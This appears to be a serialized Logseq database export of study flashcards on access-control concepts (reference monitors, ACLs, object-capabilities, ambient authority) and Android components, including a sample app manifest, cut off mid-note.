monitorlogseq____",536870916]],[logseq____"^15logseq____",[45,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[45,logseq____"^Flogseq____",40,536870916]],[logseq____"^15logseq____",[45,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[45,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[45,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[45,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[45,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[45,logseq____"^;logseq____",logseq____"~u67b83fab-09bd-4b97-8644-25ef01db3493logseq____",536870916]],[logseq____"^15logseq____",[46,logseq____"^Qlogseq____",logseq____"[*Complete Mediation*](((67b741ff-7f35-4293-bea7-c137d36a2b77))): Monitor must not be bypassedlogseq____",536870916]],[logseq____"^15logseq____",[46,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[46,logseq____"^Flogseq____",51,536870916]],[logseq____"^15logseq____",[46,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[46,logseq____"^Vlogseq____",51,536870916]],[logseq____"^15logseq____",[46,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[46,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[46,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[46,logseq____"^Hlogseq____",54,536870916]],[logseq____"^15logseq____",[46,logseq____"^;logseq____",logseq____"~u67b83fab-deb3-46c4-8555-ede86b6e7ceflogseq____",536870916]],[logseq____"^15logseq____",[47,logseq____"^Qlogseq____",logseq____"*Protection domain* defined as set of capabilitieslogseq____",536870916]],[logseq____"^15logseq____",[47,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[47,logseq____"^Flogseq____",55,536870916]],[logseq____"^15logseq____",[47,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[47,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[47,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[47,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[47,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[47,logseq____"^;logseq____",logseq____"~u67b83fab-38bd-443f-9226-615738611fc6logseq____",536870916]],[logseq____"^15logseq____",[48,logseq____"^Qlogseq____",logseq____"*Verifiable*: Provided security goals must be verifiablelogseq____",536870916]],[logseq____"^15logseq____",[48,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[48,logseq____"^Flogseq____",61,536870916]],[logseq____"^15logseq____",[48,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[48,logseq____"^Vlogseq____",51,536870916]],[logseq____"^15logseq____",[48,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[48,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[48,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[48,logseq____"^;logseq____",logseq____"~u67b83fab-8d93-4db0-8d69-f2d1c760ff3flogseq____",536870916]],[logseq____"^15logseq____",[49,logseq____"^Qlogseq____",logseq____"### Terminology #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[49,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[49,logseq____"^Flogseq____",59,536870916]],[logseq____"^15logseq____",[49,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[49,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[49,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[49,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[49,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[49,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[49,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[49,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[49,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[49,logseq____"^;logseq____",logseq____"~u67b83fab-0e27-4a82-afad-a670114dac04logseq____",536870916]],[logseq____"^15logseq____",[50,logseq____"^Qlogseq____",logseq____"Hard to determine all accessible objects of a particular subjectlogseq____",536870916]],[logseq____"^15logseq____",[50,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[50,logseq____"^Flogseq____",56,536870916]],[logseq____"^15logseq____",[50,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[50,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[50,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[50,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[50,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[50,logseq____"^;logseq____",logseq____"~u67b83fab-a879-427a-9859-318e5c6d793elogseq____",536870916]],[logseq____"^15logseq____",[51,logseq____"^Qlogseq____",logseq____"### Properties #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[51,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[51,logseq____"^Flogseq____",49,536870916]],[logseq____"^15logseq____",[51,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[51,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[51,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[51,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[51,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[51,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[51,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[51,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[51,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[51,logseq____"^;logseq____",logseq____"~u67b83fab-5dcf-4613-9f67-3a8896156700logseq____",536870916]],[logseq____"^15logseq____",[52,logseq____"^Qlogseq____",logseq____"*Subject*: Active entity acting on principals behalf, e.g., process running under userlogseq____'s identitylogseq____",536870916]],[logseq____"^15logseq____",[52,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[52,logseq____"^Flogseq____",43,536870916]],[logseq____"^15logseq____",[52,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[52,logseq____"^Vlogseq____",49,536870916]],[logseq____"^15logseq____",[52,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[52,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[52,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[52,logseq____"^;logseq____",logseq____"~u67b83fab-c08a-484b-8412-c24d1442fda3logseq____",536870916]],[logseq____"^15logseq____",[53,logseq____"^Qlogseq____",logseq____"usually implemented via *object references*, e.g., file descriptors (can, thus, be delegated to other processes if policy allows it)logseq____",536870916]],[logseq____"^15logseq____",[53,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[53,logseq____"^Flogseq____",63,536870916]],[logseq____"^15logseq____",[53,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[53,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[53,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[53,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[53,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[53,logseq____"^;logseq____",logseq____"~u67b83fab-609c-4414-9ea2-7f5463994cf5logseq____",536870916]],[logseq____"^15logseq____",[54,logseq____"^Qlogseq____",logseq____"## Complete Mediation\\nid:: 67b741ff-7f35-4293-bea7-c137d36a2b77logseq____",536870916]],[logseq____"^15logseq____",[54,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[54,logseq____"^Flogseq____",228,536870916]],[logseq____"^15logseq____",[54,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[54,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[54,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[54,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b741ff-7f35-4293-bea7-c137d36a2b77logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[54,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874675]],[logseq____"^15logseq____",[54,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b741ff-7f35-4293-bea7-c137d36a2b77logseq____"],536874675]],[logseq____"^15logseq____",[54,logseq____"^;logseq____",logseq____"~u67b741ff-7f35-4293-bea7-c137d36a2b77logseq____",536870916]],[logseq____"^15logseq____",[55,logseq____"^Qlogseq____",logseq____"[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks token (removes knowledge about identities and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____",536870916]],[logseq____"^15logseq____",[55,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[55,logseq____"^Flogseq____",53,536870916]],[logseq____"^15logseq____",[55,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[55,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[55,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[55,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[55,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[55,logseq____"^;logseq____",logseq____"~u67b83fab-3a21-4db7-a064-7cf12ad59ea9logseq____",536870916]],[logseq____"^15logseq____",[56,logseq____"^Qlogseq____",logseq____"Relies on *authentication* and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____",536870916]],[logseq____"^15logseq____",[56,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[56,logseq____"^Flogseq____",62,536870916]],[logseq____"^15logseq____",[56,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[56,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[56,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[56,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[56,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[56,logseq____"^;logseq____",logseq____"~u67b83fab-5117-4a2d-bec2-89e4364e6ef9logseq____",536870916]],[logseq____"^15logseq____",[57,logseq____"^Qlogseq____",logseq____"## ACL(Access Control List) #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[57,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[57,logseq____"^Flogseq____",41,536870916]],[logseq____"^15logseq____",[57,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[57,logseq____"^Vlogseq____",37,536870916]],[logseq____"^15logseq____",[57,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[57,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[57,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[57,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[57,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[57,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[57,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[57,logseq____"^;logseq____",logseq____"~u67b83fab-08c4-41ff-9a55-2383ed229de1logseq____",536870916]],[logseq____"^15logseq____",[58,logseq____"^Qlogseq____",logseq____"## Object-Capabilities #card #security-architecturelogseq____",536870923]],[logseq____"^15logseq____",[58,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[58,logseq____"^Flogseq____",57,536870916]],[logseq____"^15logseq____",[58,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[58,logseq____"^Vlogseq____",37,536870916]],[logseq____"^15logseq____",[58,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[58,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[58,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[58,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870923]],[logseq____"^15logseq____",[58,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536870923]],[logseq____"^15logseq____",[58,logseq____"^Hlogseq____",2,536870923]],[logseq____"^15logseq____",[58,logseq____"^Hlogseq____",38,536870923]],[logseq____"^15logseq____",[58,logseq____"^;logseq____",logseq____"~u67b83fab-1843-422b-a7ee-edcaead07ce4logseq____",536870916]],[logseq____"^15logseq____",[59,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart LR\\n S((Subjectlogseq____<brlogseq____>e.g. User Process))\\n D{\\logseq____"Reference Monitorlogseq____<brlogseq____>(Authorized?)\\logseq____"}\\n O((Objectlogseq____<brlogseq____>e.g. File or Resource))\\n SP([Security Policy])\\n\\n S -- \\logseq____"access request\\logseq____" --logseq____> D\\n SP --logseq____> D\\n D -- \\logseq____"If authorized\\logseq____" --logseq____> O\\n D -- \\logseq____"If not authorized\\logseq____" --logseq____> X(Access Denied)\\n```logseq____",536870916]],[logseq____"^15logseq____",[59,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[59,logseq____"^Flogseq____",45,536870916]],[logseq____"^15logseq____",[59,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[59,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[59,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[59,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[59,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[59,logseq____"^;logseq____",logseq____"~u67b83fab-9d35-41d6-abe8-55ba54cd1ec0logseq____",536870916]],[logseq____"^15logseq____",[60,logseq____"^Qlogseq____",logseq____"### Ambient Authority #card #security-architecture\\nid:: 67b7665b-d447-4148-968c-5e162ec8c3fclogseq____",536870916]],[logseq____"^15logseq____",[60,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[60,logseq____"^Flogseq____",351,536871283]],[logseq____"^15logseq____",[60,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[60,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[60,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[60,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[60,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[60,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b7665b-d447-4148-968c-5e162ec8c3fclogseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[60,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[60,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b7665b-d447-4148-968c-5e162ec8c3fclogseq____"],536870916]],[logseq____"^15logseq____",[60,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[60,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[60,logseq____"^;logseq____",logseq____"~u67b7665b-d447-4148-968c-5e162ec8c3fclogseq____",536870916]],[logseq____"^15logseq____",[61,logseq____"^Qlogseq____",logseq____"*Tamper proof*: Protection from compromiselogseq____",536870916]],[logseq____"^15logseq____",[61,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[61,logseq____"^Flogseq____",46,536870916]],[logseq____"^15logseq____",[61,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[61,logseq____"^Vlogseq____",51,536870916]],[logseq____"^15logseq____",[61,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[61,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[61,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[61,logseq____"^;logseq____",logseq____"~u67b83fab-bf6b-448f-91e6-2c840cc47be9logseq____",536870916]],[logseq____"^15logseq____",[62,logseq____"^Qlogseq____",logseq____"[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks subject against list of authorized subjectslogseq____",536870916]],[logseq____"^15logseq____",[62,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[62,logseq____"^Flogseq____",39,536870916]],[logseq____"^15logseq____",[62,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[62,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[62,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[62,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[62,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[62,logseq____"^;logseq____",logseq____"~u67b83fab-38c4-47e0-9727-505c6e00d263logseq____",536870916]],[logseq____"^15logseq____",[63,logseq____"^Qlogseq____",logseq____"*subject-centered*: capabilities as *unforgeable*, *tamper-proof* token defining its holderlogseq____'s privilegeslogseq____",536870916]],[logseq____"^15logseq____",[63,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[63,logseq____"^Flogseq____",58,536870916]],[logseq____"^15logseq____",[63,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[63,logseq____"^Vlogseq____",58,536870916]],[logseq____"^15logseq____",[63,logseq____"^Ulogseq____",2,536870924]],[logseq____"^15logseq____",[63,logseq____"^Ulogseq____",37,536870924]],[logseq____"^15logseq____",[63,logseq____"^Ulogseq____",38,536870924]],[logseq____"^15logseq____",[63,logseq____"^;logseq____",logseq____"~u67b83fab-8c77-48e7-ae66-38a9075f9be1logseq____",536870916]],[logseq____"^15logseq____",[64,logseq____"^Qlogseq____",logseq____"Authorization is based on *subject identity* (only specify the object to access and the operation)logseq____",536870916]],[logseq____"^15logseq____",[64,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[64,logseq____"^Flogseq____",341,536870927]],[logseq____"^15logseq____",[64,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[64,logseq____"^Vlogseq____",60,536870916]],[logseq____"^15logseq____",[64,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[64,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[64,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[64,logseq____"^;logseq____",logseq____"~u67b83fab-df44-47da-b00b-fbc0dd83bb41logseq____",536870916]],[logseq____"^15logseq____",[74,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[74,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[74,logseq____"^Ylogseq____",logseq____"broadcast receiver componentslogseq____",536870916]],[logseq____"^15logseq____",[74,logseq____"^11logseq____",logseq____"Broadcast Receiver Componentslogseq____",536870916]],[logseq____"^15logseq____",[74,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[74,logseq____"^;logseq____",logseq____"~u67b83fac-b953-4ec2-a25e-a361e7ca3ae3logseq____",536870916]],[logseq____"^15logseq____",[75,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[75,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[75,logseq____"^Ylogseq____",logseq____"intent messageslogseq____",536870916]],[logseq____"^15logseq____",[75,logseq____"^11logseq____",logseq____"Intent Messageslogseq____",536870916]],[logseq____"^15logseq____",[75,logseq____"^Blogseq____",1740134121672,536872930]],[logseq____"^15logseq____",[75,logseq____"^;logseq____",logseq____"~u67bd79bb-94a0-40a3-b32d-a72461ad5a6dlogseq____",536878163]],[logseq____"^15logseq____",[76,logseq____"^Qlogseq____",logseq____"### Intent Filters\\nid:: 6717978c-801a-4383-b970-cffcfbb13343logseq____",536870916]],[logseq____"^15logseq____",[76,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[76,logseq____"^Flogseq____",85,536870916]],[logseq____"^15logseq____",[76,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[76,logseq____"^Vlogseq____",90,536870916]],[logseq____"^15logseq____",[76,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[76,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[76,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[76,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717978c-801a-4383-b970-cffcfbb13343logseq____",logseq____"^17logseq____",3],536876191]],[logseq____"^15logseq____",[76,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536876191]],[logseq____"^15logseq____",[76,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717978c-801a-4383-b970-cffcfbb13343logseq____"],536876191]],[logseq____"^15logseq____",[76,logseq____"^;logseq____",logseq____"~u6717978c-801a-4383-b970-cffcfbb13343logseq____",536870916]],[logseq____"^15logseq____",[77,logseq____"^Qlogseq____",logseq____"Due to privacy concerns, apps do not have access to a list of installed packageslogseq____",536870916]],[logseq____"^15logseq____",[77,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[77,logseq____"^Flogseq____",92,536870916]],[logseq____"^15logseq____",[77,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[77,logseq____"^Vlogseq____",92,536870916]],[logseq____"^15logseq____",[77,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[77,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[77,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[77,logseq____"^;logseq____",logseq____"~u67b83fab-68e2-496b-b0b7-4a9500a37147logseq____",536870916]],[logseq____"^15logseq____",[78,logseq____"^Qlogseq____",logseq____"### Example\\nid:: 6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____",536870916]],[logseq____"^15logseq____",[78,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[78,logseq____"^Flogseq____",86,536870916]],[logseq____"^15logseq____",[78,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[78,logseq____"^Vlogseq____",79,536870916]],[logseq____"^15logseq____",[78,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[78,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[78,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[78,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____",logseq____"^17logseq____",3],536876191]],[logseq____"^15logseq____",[78,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536876191]],[logseq____"^15logseq____",[78,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____"],536876191]],[logseq____"^15logseq____",[78,logseq____"^;logseq____",logseq____"~u6717ce84-d0f0-48ee-8138-2dd29ce1cc0elogseq____",536870916]],[logseq____"^15logseq____",[79,logseq____"^Qlogseq____",logseq____"## Declares #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[79,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[79,logseq____"^Flogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^Vlogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[79,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[79,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[79,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876191]],[logseq____"^15logseq____",[79,logseq____"^Jlogseq____",[],536876191]],[logseq____"^15logseq____",[79,logseq____"^Hlogseq____",2,536876191]],[logseq____"^15logseq____",[79,logseq____"^Hlogseq____",24,536876191]],[logseq____"^15logseq____",[79,logseq____"^;logseq____",logseq____"~u67b83fab-5684-4d9e-bdb0-a7a50eb1b95alogseq____",536870916]],[logseq____"^15logseq____",[80,logseq____"^Qlogseq____",logseq____"Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____",536870916]],[logseq____"^15logseq____",[80,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[80,logseq____"^Flogseq____",83,536870916]],[logseq____"^15logseq____",[80,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[80,logseq____"^Vlogseq____",76,536870916]],[logseq____"^15logseq____",[80,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[80,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[80,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[80,logseq____"^Hlogseq____",78,536876191]],[logseq____"^15logseq____",[80,logseq____"^;logseq____",logseq____"~u67b83fab-3759-40e7-b7d1-4509693c6052logseq____",536870916]],[logseq____"^15logseq____",[81,logseq____"^Qlogseq____",logseq____"if set to `true`, another application can call this component using [Intents]([[Intent Messages]])logseq____",536870916]],[logseq____"^15logseq____",[81,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[81,logseq____"^Flogseq____",91,536870916]],[logseq____"^15logseq____",[81,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[81,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[81,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[81,logseq____"^Hlogseq____",75,536876191]],[logseq____"^15logseq____",[81,logseq____"^;logseq____",logseq____"~u67b83fab-b13e-4962-a444-45ec6b447692logseq____",536870916]],[logseq____"^15logseq____",[82,logseq____"^Qlogseq____",logseq____"~```xml\\nlogseq____<manifest xmlns:android=\\logseq____"http://schemas.android.com/apk/res/android\\logseq____"\\n xmlns:tools=\\logseq____"http://schemas.android.com/tools\\logseq____"logseq____>\\n logseq____<application\\n\\tandroid:icon=\\logseq____"@mipmap/ic_launcher\\logseq____"\\n\\tandroid:label=\\logseq____"@string/app_name”\\n\\t...\\n\\tandroid:roundIcon=\\logseq____"@mipmap/ic_launcher_round\\logseq____"\\n\\ttools:targetApi=\\logseq____"31\\logseq____"logseq____>\\n\\t\\n\\t\\tlogseq____<activity android:name=\\logseq____".MainActivity” android:exported=\\logseq____"true\\logseq____"logseq____>\\n\\t\\t\\tlogseq____<intent-filterlogseq____>\\n\\t\\t\\t\\tlogseq____<action android:name=\\logseq____"android.intent.action.MAIN\\logseq____" /logseq____>\\n\\t\\t\\t\\tlogseq____<category android:name=\\logseq____"android.intent.category.LAUNCHER\\logseq____" /logseq____>\\n\\t\\t\\tlogseq____</intent-filterlogseq____>\\n\\t\\tlogseq____</activitylogseq____>\\n\\n \\t\\tlogseq____<receiver android:name=”.MyReceiver\\logseq____" logseq____>\\n\\t\\t\\tlogseq____<intent-filterlogseq____>\\n\\t\\t\\tlogseq____<action android:name=\\logseq____"android.intent.action.BOOT_COMPLETED\\logseq____" /logseq____>\\n\\t\\t\\tlogseq____</intent-filterlogseq____>\\n\\t\\tlogseq____</receiverlogseq____>\\n\\t\\t...\\n\\tlogseq____</applicationlogseq____>\\nlogseq____</manifestlogseq____>\\n```logseq____",536870916]],[logseq____"^15logseq____",[82,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[82,logseq____"^Flogseq____",78,536870916]],[logseq____"^15logseq____",[82,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[82,logseq____"^Vlogseq____",78,536870916]],[logseq____"^15logseq____",[82,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[82,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[82,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[82,logseq____"^;logseq____",logseq____"~u67b83fab-627f-48c9-be08-c3c802d79962logseq____",536870916]],[logseq____"^15logseq____",[83,logseq____"^Qlogseq____",logseq____"Specify information about which [Intents]([[Intent Messages]]) the component 